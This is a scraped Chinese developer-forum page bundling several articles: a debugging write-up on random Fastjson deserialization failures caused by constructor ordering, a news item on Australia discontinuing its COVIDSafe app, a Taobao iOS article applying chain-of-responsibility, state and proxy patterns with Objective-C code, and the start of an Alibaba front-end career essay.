注册
环信即时通讯云

环信即时通讯云

单聊、群聊、聊天室...
环信开发文档

环信开发文档

Demo体验

Demo体验

场景Demo,开箱即用
RTE开发者社区

RTE开发者社区

汇聚音视频领域技术干货,分享行业资讯
技术讨论区

技术讨论区

技术交流、答疑
资源下载

资源下载

收集了海量宝藏开发资源
iOS Library

iOS Library

不需要辛辛苦苦的去找轮子, 这里都有
Android Library

Android Library

不需要辛辛苦苦的去找轮子, 这里都有

Fastjson反序列化随机性失败

本文主要讲述了一个具有"随机性"的反序列化错误!前言Fastjson作为一款高性能的JSON序列化框架,使用场景众多,不过也存在一些潜在的bug和不足。本文主要讲述了一个具有"随机性"的反序列化错误!问题代码为了清晰地描述整个报错的来龙去脉,将相关代码贴出来,...
继续阅读 »

本文主要讲述了一个具有"随机性"的反序列化错误!

前言

Fastjson作为一款高性能的JSON序列化框架,使用场景众多,不过也存在一些潜在的bug和不足。本文主要讲述了一个具有"随机性"的反序列化错误!

问题代码

为了清晰地描述整个报错的来龙去脉,将相关代码贴出来,同时也为了可以本地执行,看一下实际效果。

StewardTipItem

package test;

import java.util.List;

public class StewardTipItem {

   private Integer type;
   
   private List<String> contents;
   
   public StewardTipItem(Integer type, List<String> contents) {
       this.type = type;
       this.contents = contents;
  }
}

StewardTipCategory

反序列化时失败,此类有两个特殊之处:

  1. 返回StewardTipCategory的build方法(忽略返回null值)。

  2. 构造函数『C1』Map<Integer, List> items参数与List items属性同名,但类型不同!

package test;
   
import java.util.ArrayList;
import java.util.List;
import java.util.Map;

public class StewardTipCategory {
   
   private String category;
   
   private List<StewardTipItem> items;
   
   public StewardTipCategory build() {
       return null;
  }
   
   //C1 下文使用C1引用该构造函数
   public StewardTipCategory(String category, Map<Integer,List<String>> items) {          
       List<StewardTipItem> categoryItems = new ArrayList<>();
   for (Map.Entry<Integer, List<String>> item : items.entrySet()) {
       StewardTipItem tipItem = new StewardTipItem(item.getKey(), item.getValue());                   categoryItems.add(tipItem);
  }
   this.items = categoryItems;
   this.category = category;
}
   
   // C2 下文使用C2引用该构造函数
   public StewardTipCategory(String category, List<StewardTipItem> items) {        
       this.category = category;
       this.items = items;
  }
   
   public String getCategory() {
       return category;
  }
   
   public void setCategory(String category) {
       this.category = category;
  }
   
   public List<StewardTipItem> getItems() {
       return items;
  }
   
   public void setItems(List<StewardTipItem> items) {
       this.items = items;
  }
}

StewardTip

package test;
   
import java.util.ArrayList;
import java.util.List;
import java.util.Map;

public class StewardTip {

   private List<StewardTipCategory> categories;
   
   public StewardTip(Map<String, Map<Integer, List<String>>> categories) {          
       List<StewardTipCategory> tipCategories = new ArrayList<>();
       for (Map.Entry<String, Map<Integer, List<String>>> category : categories.entrySet()) {             StewardTipCategory tipCategory = new StewardTipCategory(category.getKey(), category.getValue());
           tipCategories.add(tipCategory);
      }
       this.categories = tipCategories;
  }
   
   public StewardTip(List<StewardTipCategory> categories) {
       this.categories = categories;
  }
   
   public List<StewardTipCategory> getCategories() {
       return categories;
  }
   
   public void setCategories(List<StewardTipCategory> categories) {
       this.categories = categories;
  }
}

JSON字符串

{
   "categories":[
      {
            "category":"工艺类",
            "items":[
                {
                    "contents":[
                        "工艺类-提醒项-内容1",
                        "工艺类-提醒项-内容2"
                    ],
                    "type":1
              },
              {
                    "contents":[
                        "工艺类-疑问项-内容1"
                    ],
                    "type":2
              }
          ]
      }
  ]
}

FastJSONTest

package test;

import com.alibaba.fastjson.JSONObject;

public class FastJSONTest {

   public static void main(String[] args) {
       String tip = "{"categories":[{"category":"工艺类","items":[{"contents":["工艺类-提醒项-内容1","工艺类-提醒项-内容2"],"type":1},{"contents":["工艺类-疑问项-内容1"],"type":2}]}]}";        
       try {
           JSONObject.parseObject(tip, StewardTip.class);
      } catch (Exception e) {
           e.printStackTrace();
      }
  }
}

堆栈信息

当执行FastJSONTest的main方法时报错:

com.alibaba.fastjson.JSONException: syntax error, expect {, actual [
   at com.alibaba.fastjson.parser.deserializer.MapDeserializer.parseMap(MapDeserializer.java:228)
   at com.alibaba.fastjson.parser.deserializer.MapDeserializer.deserialze(MapDeserializer.java:67)  
   at com.alibaba.fastjson.parser.deserializer.MapDeserializer.deserialze(MapDeserializer.java:43)  
   at com.alibaba.fastjson.parser.deserializer.DefaultFieldDeserializer.parseField(DefaultFieldDeserializer.java:85)
   at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:838)
   at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:288)
   at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:284)
   at com.alibaba.fastjson.parser.deserializer.ArrayListTypeFieldDeserializer.parseArray(ArrayListTypeFieldDeserializer.java:181)
   at com.alibaba.fastjson.parser.deserializer.ArrayListTypeFieldDeserializer.parseField(ArrayListTypeFieldDeserializer.java:69)
   at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:838)
   at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:288)
   at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:672)  at com.alibaba.fastjson.JSON.parseObject(JSON.java:396)
   at com.alibaba.fastjson.JSON.parseObject(JSON.java:300)
   at com.alibaba.fastjson.JSON.parseObject(JSON.java:573)
   at test.FastJSONTest.main(FastJSONTest.java:17)

问题排查

排查过程有两个难点:

  1. 不能根据报错信息得到异常时JSON字符串的key,position或者其他有价值的提示信息。

  2. 报错并不是每次执行都会发生,存在随机性,执行十次可能报错两三次,没有统计失败率。

经过多次执行之后还是找到了一些蛛丝马迹!下面结合源码对整个过程进行简单地叙述,最后也会给出怎么能在报错的时候debug到代码的方法。

JavaBeanInfo:285行


clazz是StewardTipCategory.class的情况下,提出以下两个问题:Q1:Constructor[] constructors数组的返回值是什么?Q2:constructors数组元素的顺序是什么?

参考java.lang.Class#getDeclaredConstructors的注释,可得到A1:


  • A1

public test.StewardTipCategory(java.lang.String,java.util.Map<java.lang.Integer, java.util.List<java.lang.String>>)『C1』public test.StewardTipCategory(java.lang.String,java.util.List<test.StewardTipItem>)『C2』

  • A2

build()方法,C1构造函数,C2构造函数三者在Java源文件的顺序决定了constructors数组元素的顺序!下表是经过多次实验得到的一组数据,因为是手动触发,并且次数较少,所以不能保证100%的准确性,只是一种大概率事件。
java.lang.Class#getDeclaredConstructors底层实现是native getDeclaredConstructors0,JVM的这部分代码没有去阅读,所以目前无法解释产生这种现象的原因。

数组元素顺序
build()C1C2随机
C1build()C2C2,C1
C1C2build()C2,C1
build()C2C1随机
C2build()C1C1,C2
C2C1build()C1,C2
C1C2C2,C1
C2C1C1,C2

正是因为java.lang.Class#getDeclaredConstructors返回数组元素顺序的随机性,才导致反序列化失败的随机性!

  1. [C2,C1]反序列化成功!

  2. [C1,C2]反序列化失败!

[C1,C2]顺序下探寻反序列化失败时代码执行的路径。

JavaBeanInfo:492行


com.alibaba.fastjson.util.JavaBeanInfo#build()方法体代码量比较大,忽略执行路径上的无关代码。\

  1. [C1,C2]顺序下代码会执行到492行,并执行两次(StewardTipCategory#category, StewardTipCategory#items各执行一次)。

  2. 结束后创建一个com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer。

JavaBeanDeserializer:49行


JavaBeanDeserializer两个重要属性:

  1. private final FieldDeserializer[] fieldDeserializers;

  2. protected final FieldDeserializer[] sortedFieldDeserializers;

反序列化test.StewardTipCategory#items时fieldDeserializers的详细信息。

com.alibaba.fastjson.parser.deserializer.DefaultFieldDeserializercom.alibaba.fastjson.parser.deserializer.DefaultFieldDeserializer#fieldValueDeserilizer(属性值null,运行时会根据fieldType获取具体实现类)com.alibaba.fastjson.util.FieldInfo#fieldType(java.util.Map<java.lang.Integer, java.util.List<java.lang.String>>)


创建完成执行com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#deserialze(com.alibaba.fastjson.parser.DefaultJSONParser, java.lang.reflect.Type, java.lang.Object, java.lang.Object, int, int[])

JavaBeanDeserializer:838行


DefaultFieldDeserializer:53行


com.alibaba.fastjson.parser.ParserConfig#getDeserializer(java.lang.Class<?>, java.lang.reflect.Type)根据字段类型设置com.alibaba.fastjson.parser.deserializer.DefaultFieldDeserializer#fieldValueDeserilizer的具体实现类。

DefaultFieldDeserializer:34行


test.StewardTipCategory#items属性的实际类型是List。

反序列化时根据C1构造函数得到的fieldValueDeserilizer的实现类是com.alibaba.fastjson.parser.deserializer.MapDeserializer。

执行com.alibaba.fastjson.parser.deserializer.MapDeserializer#deserialze(com.alibaba.fastjson.parser.DefaultJSONParser, java.lang.reflect.Type, java.lang.Object)时报错。

MapDeserializer:228行


JavaBeanDeserializer:838行


java.lang.Class#getDeclaredConstructors返回[C2,C1]顺序,反序列化时根据C2构造函数得到的fieldValueDeserilizer的实现类是com.alibaba.fastjson.parser.deserializer.ArrayListTypeFieldDeserializer,反序列化成功。

问题解决

代码

  1. 删除C1构造函数,使用其他方式创建StewardTipCategory。

  2. 修改C1构造函数参数名称,类型,避免误导Fastjson。

调试

package test;

import com.alibaba.fastjson.JSONObject;

import java.lang.reflect.Constructor;

public class FastJSONTest {

   public static void main(String[] args) {
       Constructor<?>[] declaredConstructors = StewardTipCategory.class.getDeclaredConstructors();
       // if true must fail!
      if ("public test.StewardTipCategory(java.lang.String,java.util.Map<java.lang.Integer, java.util.List<java.lang.String>>)".equals(declaredConstructors[0].toGenericString())) {                 String tip = "{"categories":[{"category":"工艺类","items":[{"contents":["工艺类-提醒项-内容1","工艺类-提醒项-内容2"],"type":1},{"contents":["工艺类-疑问项-内容1"],"type":2}]}]}";                   try {
               JSONObject.parseObject(tip, StewardTip.class);
          } catch (Exception e) {  
               e.printStackTrace();
          }
      }
  }
}

总结

开发过程中尽量遵照规范/规约,不要特立独行

StewardTipCategory构造函数C1方法签名明显不是一个很好的选择,方法体除了属性赋值,还做了一些额外的类型/数据转换,也应该尽量避免。

专业有深度

开发人员对于使用的技术与框架要有深入的研究,尤其是底层原理,不能停留在使用层面。一些不起眼的事情可能导致不可思议的问题:java.lang.Class#getDeclaredConstructors。

Fastjson

框架实现时要保持严谨,报错信息尽可能清晰明了,StewardTipCategory反序列化失败的原因在于,fastjson只检验了属性名称,构造函数参数个数而没有进一步校验属性类型。

<<重构:改善既有代码的设计>>提倡代码方法块尽量短小精悍,Fastjson某些模块的方法过于臃肿。

吾生也有涯,而知也无涯

作者:阿里巴巴大淘宝技术
来源:juejin.cn/post/7127472762335002637

收起阅读 »

1 亿巨资开发的防疫 APP,两年多只找到 2 例确诊

2020 年 4 月,澳政府斥巨资打造防疫 APP“COVIDSafe”。两年多过去了,这款曾被寄予厚望、当作通向防疫成功“门票”的 APP 寿命将近,于当地时间 8 月 9 日宣布将在不久后停用。澳大利亚卫生部长巴特勒(Mark Butler)10 日直言,...
继续阅读 »

2020 年 4 月,澳政府斥巨资打造防疫 APP“COVIDSafe”。两年多过去了,这款曾被寄予厚望、当作通向防疫成功“门票”的 APP 寿命将近,于当地时间 8 月 9 日宣布将在不久后停用。澳大利亚卫生部长巴特勒(Mark Butler)10 日直言,这款由前任政府研发的 APP 根本没啥用,还烧钱。

他透露,至今为止,“COVIDSafe”浪费了纳税人足足 2100 万澳元(约合 1 亿元人民币),但只追踪到了两例未被发现的新冠阳性病例。


澳媒报道截图

据澳大利亚卫生部网站介绍,“COVIDSafe”手机应用程序是在新冠疫情早期(即 2020 年 4 月)开发的,是一款帮助识别暴露在新冠病毒前、有感染风险人群的工具,有助于“保护自己、家人和朋友”。

澳前总理莫里森曾对这款 APP 寄予厚望,称“COVIDSafe”将是澳大利亚摆脱疫情封城、通向正常生活的“门票”。莫里森还将该 APP 比作“防晒霜”。他说:“如果你想在阳光灿烂的时候外出,你就必须涂上防晒霜。(这款 APP)也是这么一回事。”

两年多过去了,“COVIDSafe”走向终结。从 8 月 9 日起,每一个澳大利亚用户打开“COVIDSafe”后便会收到一个提醒信息:“请卸载 COVIDSafe(Please uninstall COVIDSafe)”。


澳卫生部介绍,“COVIDSafe”有助于识别有感染风险的人群

值得注意的是,这不是因为“COVIDSafe”已经完成使命、带领澳大利亚取得了防疫成功,而是因为这款 APP“太烧钱,还没用”。

据《悉尼先驱晨报》和澳大利亚新闻网(ABC)报道,当地时间 8 月 10 日,澳卫生部长巴特勒表示:“很明显,这款 APP 作为一项公共卫生措施失败了,这就是我们采取行动删除它的原因。”他还说,“COVIDSafe”至今已经浪费了纳税人超 2100 万澳元(约合 1 亿元人民币)。

巴特勒还援引数据指出,虽然有 790 万澳大利亚人使用“COVIDSafe”,但只有不到 800 名用户同意数据分享权限。这也导致,自 2020 年 4 月至今,这款 APP 只追踪到了两例未被发现的新冠阳性病例。

其实,早在推广使用之初,“COVIDSafe”便因其高昂的研发和维护费用饱受诟病。ABC 报道称,莫里森政府投入 1000 万澳元用于应用的开发工作,另外 700 万澳元用于广告和营销、210 万澳元用于维护工作、超 200 万澳元用于支付员工费用。

此外,还有媒体和专家质疑该 APP 在追踪、识别阳性病例上的有效性。

去年 8 月,澳卫生部发布的一份报告显示,“COVIDSafe”只记录相距 1.5 米以内的两个用户之间至少 15 分钟的接触时间,这使得它无法满足跟踪德尔塔等变异毒株的需要。且自 2020 年 4 月至去年 5 月期间,“COVIDSafe”只收集到 779 名新冠病毒检测呈阳性的用户的信息,其中仅有 44 名用户共享信息。

今年 4 月,澳大利亚新冠疫情“最终报告特别委员会”将“COVIDSafe”定性为“代价高昂的失败之作”,并建议澳政府停止在此应用上进一步支出公共资金。

8 月 10 日,澳卫生部长巴特勒宣布,自此,卫生部停止通过“COVIDSafe”收集数据,且迄今为止通过该 APP 收集的数据将被尽快删除。“COVIDSafe”已于 8 月 16 日正式停用。

来源:观察网

收起阅读 »

淘宝iOS扫一扫架构升级 - 设计模式的应用

iOS
本文在“扫一扫功能的不断迭代,基于设计模式的基本原则,逐步采用设计模式思想进行代码和架构优化”的背景下,对设计模式在扫一扫中新的应用进行了总结。背景扫一扫是淘宝镜头页中的一个重要组成,功能运行久远,其历史代码中较少采用面向对象编程思想,而较多采用面向过程的程序...
继续阅读 »

本文在“扫一扫功能的不断迭代,基于设计模式的基本原则,逐步采用设计模式思想进行代码和架构优化”的背景下,对设计模式在扫一扫中新的应用进行了总结。

背景

扫一扫是淘宝镜头页中的一个重要组成,功能运行久远,其历史代码中较少采用面向对象编程思想,而较多采用面向过程的程序设计。

随着扫一扫功能的不断迭代,我们基于设计模式的基本原则,逐步采用设计模式思想进行代码和架构优化。本文就是在这个背景下,对设计模式在扫一扫中新的应用进行了总结。

扫一扫原架构

扫一扫的原架构如图所示。其中逻辑&展现层的功能逻辑很多,并没有良好的设计和拆分,举几个例子:

  1. 所有码的处理逻辑都写在同一个方法体里,一个方法就接近 2000 多行。

  2. 庞大的码处理逻辑写在 viewController 中,与 UI 逻辑耦合。

按照现有的代码设计,若要对某种码逻辑进行修改,都必须将所有逻辑全量编译。如果继续沿用此代码,扫一扫的可维护性会越来越低。

图片

因此我们需要对代码和架构进行优化,在这里优化遵循的思路是:

  1. 了解业务能力

  2. 了解原有代码逻辑,不确定的地方通过埋点等方式线上验证

  3. 对原有代码功能进行重写/重构

  4. 编写单元测试,提供测试用例

  5. 测试&上线

扫码能力综述

扫一扫的解码能力决定了扫一扫能够处理的码类型,这里称为一级分类。基于一级分类,扫一扫会根据码的内容和类型,再进行二级分类。之后的逻辑,就是针对不同的二级类型,做相应的处理,如下图为技术链路流程。

图片

设计模式

责任链模式

图片

上述技术链路流程中,码处理流程对应的就是原有的 viewController 里面的巨无霸逻辑。通过梳理我们看到,码处理其实是一条链式的处理,且有前后依赖关系。优化方案有两个,方案一是拆解成多个方法顺序调用;方案二是参考苹果的 NSOperation 独立计算单元的思路,拆解成多个码处理单元。方案一本质还是没解决开闭原则(对扩展开放,对修改封闭)问的题。方案二是一个比较好的实践方式。那么怎么设计一个简单的结构来实现此逻辑呢?

码处理链路的特点是,链式处理,可控制处理的顺序,每个码处理单元都是单一职责,因此这里引出改造第一步:责任链模式。

责任链模式是一种行为设计模式, 它将请求沿着处理者链进行发送。收到请求后, 每个处理者均可对请求进行处理, 或将其传递给链上的下个处理者。

本文设计的责任链模式,包含三部分:

  1. 创建数据的 Creator

  2. 管理处理单元的 Manager

  3. 处理单元 Pipeline

三者结构如图所示

图片

创建数据的 Creator

包含的功能和特点:

  1. 因为数据是基于业务的,所以它只被声明为一个 Protocol ,由上层实现。

  2. Creator 对数据做对象化,对象生成后 self.generateDataBlock(obj, Id) 即开始执行

API 代码示例如下

/// 数据产生协议 <CreatorProtocol>
@protocol TBPipelineDataCreatorDelegate <NSObject>
@property (nonatomic, copy) void(^generateDataBlock)(id data, NSInteger dataId);
@end
复制代码

上层业务代码示例如下

@implementation TBDataCreator
@synthesize generateDataBlock;
- (void)receiveEventWithScanResult:(TBScanResult *)scanResult                                                        eventDelegate:(id <TBScanPipelineEventDeletate>)delegate {
   //对数据做对象化
   TBCodeData *data = [TBCodeData new];
   data.scanResult = scanResult;
   data.delegate = delegate;
   
   NSInteger dataId = 100;
   //开始执行递归
   self.generateDataBlock(data, dataId);
}
@end
复制代码

管理处理单元的 Manager

包含的功能和特点:

  1. 管理创建数据的 Creator

  2. 管理处理单元的 Pipeline

  3. 采用支持链式的点语法,方便书写

API 代码示例如下

@interface TBPipelineManager : NSObject
/// 添加创建数据 Creator
- (TBPipelineManager *(^)(id<TBPipelineDataCreatorDelegate> dataCreator))addDataCreator;
/// 添加处理单元 Pipeline
- (TBPipelineManager *(^)(id<TBPipelineDelegate> pipeline))addPipeline;
/// 抛出经过一系列 Pipeline 的数据。当 Creator 开始调用 generateDataBlock 后,Pipeline 就开始执行
@property (nonatomic, strong) void(^throwDataBlock)(id data);
@end
复制代码

实现代码示例如下

@implementation TBPipelineManager
- (TBPipelineManager *(^)(id<TBPipelineDataCreatorDelegate> dataCreator))addDataCreator {    
   @weakify
   return ^(id<TBPipelineDataCreatorDelegate> dataCreator) {
       @strongify
       if (dataCreator) {
          [self.dataGenArr addObject:dataCreator];
      }
       return self;
  };
}

- (TBPipelineManager *(^)(id<TBPipelineDelegate> pipeline))addPipeline {
   @weakify
   return ^(id<TBPipelineDelegate> pipeline) {
       @strongify
       if (pipeline) {
          [self.pipelineArr addObject:pipeline];
           
           //每一次add的同时,我们做链式标记(通过runtime给每个处理加Next)
           if (self.pCurPipeline) {
               NSObject *cur = (NSObject *)self.pCurPipeline;                
               cur.tb_nextPipeline = pipeline;
          }
           self.pCurPipeline = pipeline;
      }
       return self;
  };
}

- (void)setThrowDataBlock:(void (^)(id _Nonnull))throwDataBlock {
   _throwDataBlock = throwDataBlock;
   
   @weakify
   //Creator的数组,依次对 Block 回调进行赋值,当业务方调用此 Block 时,就是开始处理数据的时候    
  [self.dataGenArr enumerateObjectsUsingBlock:^(id<TBPipelineDataCreatorDelegate>  _Nonnull obj, NSUInteger idx, BOOL * _Nonnull stop) {
       obj.generateDataBlock = ^(id<TBPipelineBaseDataProtocol> data, NSInteger dataId) {                 @strongify
           data.dataId = dataId;
           //开始递归处理数据
          [self handleData:data];
      };
  }];
}

- (void)handleData:(id)data {
  [self recurPipeline:self.pipelineArr.firstObject data:data];
}

- (void)recurPipeline:(id<TBPipelineDelegate>)pipeline data:(id)data {
   if (!pipeline) {
       return;
  }
   
   //递归让pipeline处理数据
   @weakify
  [pipeline receiveData:data throwDataBlock:^(id  _Nonnull throwData) {
       @strongify
       NSObject *cur = (NSObject *)pipeline;
       if (cur.tb_nextPipeline) {
          [self recurPipeline:cur.tb_nextPipeline data:throwData];
      } else {
           !self.throwDataBlock?:self.throwDataBlock(throwData);
      }
  }];
}
@end
复制代码

处理单元 Pipeline

包含的功能和特点:

  1. 因为数据是基于业务的,所以它只被声明为一个 Protocol ,由上层实现。

API 代码示例如下

@protocol TBPipelineDelegate <NSObject>
//如果有错误,直接抛出
- (void)receiveData:(id)data throwDataBlock:(void(^)(id data))block;
@end
复制代码

上层业务代码示例如下

//以A类型码码处理单元为例
@implementation TBGen3Pipeline
- (void)receiveData:(id <TBCodeDataDelegate>)data throwDataBlock:(void (^)(id data))block {    
   TBScanResult *result = data.scanResult;
   NSString *scanType = result.resultType;
   NSString *scanData = result.data;
   
   if ([scanType isEqualToString:TBScanResultTypeA]) {
       //跳转逻辑
      ...
       //可以处理,终止递归
       BlockInPipeline();
  } else {
       //不满足处理条件,继续递归:由下一个 Pipeline 继续处理
       PassNextPipeline(data);
  }
}
@end
复制代码

业务层调用

有了上述的框架和上层实现,生成一个码处理管理就很容易且能达到解耦的目的,代码示例如下

- (void)setupPipeline { 
  //创建 manager 和 creator
  self.manager = TBPipelineManager.new;
  self.dataCreator = TBDataCreator.new;
   
  //创建 pipeline
  TBCodeTypeAPipelie *codeTypeAPipeline = TBCodeTypeAPipelie.new;
  TBCodeTypeBPipelie *codeTypeBPipeline = TBCodeTypeBPipelie.new;
  //...
  TBCodeTypeFPipelie *codeTypeFPipeline = TBCodeTypeFPipelie.new;
   
  //往 manager 中链式添加 creator 和 pipeline
  @weakify
  self.manager
  .addDataCreator(self.dataCreator)
  .addPipeline(codeTypeAPipeline)
  .addPipeline(codeTypeBPipeline)
  .addPipeline(codeTypeFPipeline)
  .throwDataBlock = ^(id data) {
      @strongify
      if ([self.proxyImpl respondsToSelector:@selector(scanResultDidFailedProcess:)]) {                   [self.proxyImpl scanResultDidFailedProcess:data];
      }
  };
}
复制代码

状态模式

image.png

image.png

回头来看下码展示的逻辑,这是我们用户体验优化的一项重要内容。码展示的意思是对于当前帧/图片,识别到码位置,我们进行锚点的高亮并跳转。这里包含三种情况:

  1. 未识别到码的时候,无锚点展示

  2. 识别到单码的时候,展示锚点并在指定时间后跳转

  3. 识别到多码额时候,展示锚点并等待用户点击

可以看到,这里涉及到简单的展示状态切换,这里就引出改造的第二步:状态模式

image.png

状态模式是一种行为设计模式, 能在一个对象的内部状态变化时改变其行为, 使其看上去就像改变了自身所属的类一样。

本文设计的状态模式,包含两部分:

  1. 状态的信息 StateInfo

  2. 状态的基类 BaseState

两者结构如图所示

image.png

状态的信息 StateInfo

包含的功能和特点:

  1. 当前上下文仅有一种状态信息流转

  2. 业务方可以保存多个状态键值对,状态根据需要执行相应的代码逻辑。

状态信息的声明和实现代码示例如下

@interface TBBaseStateInfo : NSObject {
   @private
   TBBaseState<TBBaseStateDelegate> *_currentState; //记录当前的 State
}
//使用当前的 State 执行
- (void)performAction;
//更新当前的 State
- (void)setState:(TBBaseState <TBBaseStateDelegate> *)state;
//获取当前的 State
- (TBBaseState<TBBaseStateDelegate> *)getState;
@end

@implementation TBBaseStateInfo
- (void)performAction {
   //当前状态开始执行
  [_currentState perfromAction:self];
}
- (void)setState:(TBBaseState <TBBaseStateDelegate> *)state {
   _currentState = state;
}
- (TBBaseState<TBBaseStateDelegate> *)getState {
   return _currentState;
}
@end
复制代码

上层业务代码示例如下

typedef NS_ENUM(NSInteger,TBStateType) {
TBStateTypeNormal, //空状态
TBStateTypeSingleCode, //单码展示态
TBStateTypeMultiCode, //多码展示态
};

@interface TBStateInfo : TBBaseStateInfo
//以 key-value 的方式存储业务 type 和对应的状态 state
- (void)setState:(TBBaseState<TBBaseStateDelegate> *)state forType:(TBStateType)type;
//更新 type,并执行 state
- (void)setType:(TBStateType)type;
@end

@implementation TBStateInfo

- (void)setState:(TBBaseState<TBBaseStateDelegate> *)state forType:(TBStateType)type {
[self.stateDict tb_setObject:state forKey:@(type)];
}

- (void)setType:(TBStateType)type {
id oldState = [self getState];
//找到当前能响应的状态
id newState = [self.stateDict objectForKey:@(type)];
//如果状态未发生变更则忽略
if (oldState == newState)
return;
if ([newState respondsToSelector:@selector(perfromAction:)]) {
[self setState:newState];
//转态基于当前的状态信息开始执行
[newState perfromAction:self];
}
}
@end
复制代码

状态的基类 BaseState

包含的功能和特点:

  1. 定义了状态的基类

  2. 声明了状态的基类需要遵循的 Protocol

Protocol 如下,基类为空实现,子类继承后,实现对 StateInfo 的处理。

@protocol TBBaseStateDelegate <NSObject>
- (void)perfromAction:(TBBaseStateInfo *)stateInfo;
@end
复制代码

上层(以单码 State 为例)代码示例如下

@interface TBSingleCodeState : TBBaseState
@end

@implementation TBSingleCodeState

//实现 Protocol
- (void)perfromAction:(TBStateInfo *)stateAction {
   //业务逻辑处理 Start
  ...
   //业务逻辑处理 End
}

@end
复制代码

业务层调用

以下代码生成一系列状态,在合适时候进行状态的切换。

//状态初始化
- (void)setupState {
   TBSingleCodeState *singleCodeState =TBSingleCodeState.new; //单码状态
   TBNormalState *normalState =TBNormalState.new; //正常状态
   TBMultiCodeState *multiCodeState = [self getMultiCodeState]; //多码状态
   
  [self.stateInfo setState:normalState forType:TBStateTypeNormal];
  [self.stateInfo setState:singleCodeState forType:TBStateTypeSingleCode];
  [self.stateInfo setState:multiCodeState forType:TBStateTypeMultiCode];
}

//切换常规状态
- (void)processorA {
   //...
  [self.stateInfo setType:TBStateTypeNormal];
   //...
}

//切换多码状态
- (void)processorB {
   //...
  [self.stateInfo setType:TBStateTypeMultiCode];
   //...
}

//切换单码状态
- (void)processorC {
   //...
  [self.stateInfo setType:TBStateTypeSingleCode];
   //...
}
复制代码

最好根据状态机图编写状态切换代码,以保证每种状态都有对应的流转。

次态→ 初态↓状态A状态B状态C
状态A条件A......
状态B.........
状态C.........

代理模式

图片

在开发过程中,我们会在越来越多的地方使用到上图能力,比如「淘宝拍照」的相册中、「扫一扫」的相册中,用到解码码展示码处理的能力。

因此,我们需要把这些能力封装并做成插件化,以便在任何地方都能够使用。这里就引出了我们改造的第三步:代理模式。

代理模式是一种结构型设计模式,能够提供对象的替代品或其占位符。代理控制着对于原对象的访问, 并允许在将请求提交给对象前后进行一些处理。 本文设计的状态模式,包含两部分:

  1. 代理单例 GlobalProxy

  2. 代理的管理 ProxyHandler

两者结构如图所示

图片

代理单例 GlobalProxy

单例的目的主要是减少代理重复初始化,可以在合适的时机初始化以及清空保存的内容。单例模式对于 iOSer 再熟悉不过了,这里不再赘述。

代理的管理 Handler

维护一个对象,提供了对代理增删改查的能力,实现对代理的操作。这里实现 Key - Value 的 Key 为 Protocol ,Value 为具体的代理。

代码示例如下

+ (void)registerProxy:(id)proxy withProtocol:(Protocol *)protocol {
   if (![proxy conformsToProtocol:protocol]) {
       NSLog(@"#TBGlobalProxy, error");
       return;
  }
   if (proxy) {
      [[TBGlobalProxy sharedInstance].proxyDict setObject:proxy forKey:NSStringFromProtocol(protocol)];
  }
}

+ (id)proxyForProtocol:(Protocol *)protocol {
   if (!protocol) {
       return nil;
  }
   id proxy = [[TBGlobalProxy sharedInstance].proxyDict objectForKey:NSStringFromProtocol(protocol)];
   return proxy;
}

+ (NSDictionary *)proxyConfigs {
   return [TBGlobalProxy sharedInstance].proxyDict;
}

+ (void)removeAll {
  [TBGlobalProxy sharedInstance].proxyDict = [[NSMutableDictionary alloc] init];
}
复制代码

业务层的调用

所以不管是什么业务方,只要是需要用到对应能力的地方,只需要从单例中读取 Proxy,实现该 Proxy 对应的 Protocol,如一些回调、获取当前上下文等内容,就能够获取该 Proxy 的能力。

//读取 Proxy 的示例
- (id <TBScanProtocol>)scanProxy {
   if (!_scanProxy) {
       _scanProxy = [TBGlobalProxy proxyForProtocol:@protocol(TBScanProtocol)];
  }
   _scanProxy.proxyImpl = self;
   return _scanProxy;
}

//写入 Proxy 的示例(解耦调用)
- (void)registerGlobalProxy {
   //码处理能力
  [TBGlobalProxy registerProxy:[[NSClassFromString(@"TBScanProxy") alloc] init]                                   withProtocol:@protocol(TBScanProtocol)];
   //解码能力
  [TBGlobalProxy registerProxy:[[NSClassFromString(@"TBDecodeProxy") alloc] init]                                 withProtocol:@protocol(TBDecodeProtocol)];}
复制代码

扫一扫新架构

基于上述的改造优化,我们将原扫一扫架构进行了优化:将逻辑&展现层进行代码分拆,分为属现层、逻辑层、接口层。已达到层次分明、职责清晰、解耦的目的。

image.png

总结

上述沉淀的三个设计模式作为扫拍业务的 Foundation 的 Public 能力,应用在镜头页的业务逻辑中。

通过此次重构,提高了扫码能力的复用性,结构和逻辑的清晰带来的是维护成本的降低,不用再大海捞针从代码“巨无霸”中寻找问题,降低了开发人日。


作者:阿里巴巴大淘宝技术
来源:https://juejin.cn/post/7127858822395199502

收起阅读 »

在阿里做前端程序员,我是这样规划的

web
许多前端工程师工作超过了3年之后会遇到一个迷茫期,我跟很多前端从业人也聊过,有一部分人说想做开源项目推广出去(类似react,vue)变成前端网红。有些说想去创业。往往更长远的职业发展规划考虑的很少。我希望把自己工作经历和在阿里学到的东西分享给大家,作为一个案...
继续阅读 »

许多前端工程师工作超过了3年之后会遇到一个迷茫期,我跟很多前端从业人也聊过,有一部分人说想做开源项目推广出去(类似react,vue)变成前端网红。有些说想去创业。往往更长远的职业发展规划考虑的很少。我希望把自己工作经历和在阿里学到的东西分享给大家,作为一个案例解答有关职业发展的困扰。

此文来自一次团队内的分享。我是来自大淘宝技术内容前端团队的胤涧,负责内容中台技术。我的习惯是每个新财年初都会进行一次分享《HOW TO BE AN EMINENT ENGINEER》,聊聊目前团队阵型、OKR、业务和技术大图,聊聊我作为程序员的规划。

此文仅记录【我作为程序员的规划】的内容。

前端程序员常问的几个问题


第一,譬如一个校招生在阿里工作了两三年,整体技术能力还保持在一个上升期,但在沟通交流做事上却始终没有脱离“学生气”,似乎还未毕业

第二,技术更新迭代非常快,特别是前端领域,这几年不断都有新技术出来。每每夜深人静的时候,会发现很少有能真正沉淀下来的技术。

